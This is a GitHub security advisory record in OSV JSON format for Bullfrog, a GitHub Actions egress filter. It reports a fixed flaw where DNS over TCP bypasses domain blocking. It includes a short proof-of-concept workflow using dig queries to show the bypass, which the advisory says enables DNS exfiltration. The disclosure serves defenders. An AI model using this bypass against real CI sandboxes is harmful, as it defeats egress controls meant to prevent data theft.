{"id":"GHSA-m32f-fjw2-37v3","summary":"Bullfrog's DNS over TCP bypasses domain filtering","details":"### Summary\n\nUsing tcp breaks blocking and allows DNS exfiltration. \n\n### PoC\n\n```\nname: test\non:\n  push:\n    branches:\n      - \"*\"\n\njobs:\n  testBullFrog:\n    runs-on: ubuntu-22.04\n    steps:\n      - name: Use google dns\n        run: |\n          sudo resolvectl dns eth0 1.1.1.1\n          resolvectl status\n      - name: Set up bullfrog to block everything\n        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2\n        with:\n           egress-policy: block\n           allowed-domains: |\n             *.github.com\n      - name: Test connectivity\n        run: |\n          echo testing udp allowed ..\n          dig api.github.com @1.1.1.1 || :\n          echo testing tcp allowed ..\n          dig api.github.com @1.1.1.1 +tcp || :\n\n          echo testing udp not allowed\n          dig api.google.com @1.1.1.1 || :\n          echo testing tcp not allowed\n          dig api.google.com @1.1.1.1 +tcp || :\n```\n\n### Impact\n\nsandbox bypass\n\n![image](https://github.com/user-attachments/assets/fba18a17-2d49-48cd-9aae-713e95b5270d)","aliases":["CVE-2025-47775"],"modified":"2026-09-10T03:50:57.667675530Z","published":"2025-05-15T17:23:04Z","database_specific":{"nvd_published_at":"2025-05-14T16:15:28Z","cwe_ids":["CWE-201"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2025-05-15T17:23:04Z"},"references":[{"type":"WEB","url":"https://github.com/bullfrogsec/bullfrog/security/advisories/GHSA-m32f-fjw2-37v3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-47775"},{"type":"WEB","url":"https://github.com/bullfrogsec/bullfrog/commit/ae7744ae4b3a6f8ffc2e49f501e30bf1a43d4671"},{"type":"PACKAGE","url":"https://github.com/bullfrogsec/bullfrog"},{"type":"WEB","url":"https://github.com/bullfrogsec/bullfrog/releases/tag/v0.8.4"}],"affected":[{"package":{"name":"bullfrogsec/bullfrog","ecosystem":"GitHub Actions"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-m32f-fjw2-37v3/GHSA-m32f-fjw2-37v3.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}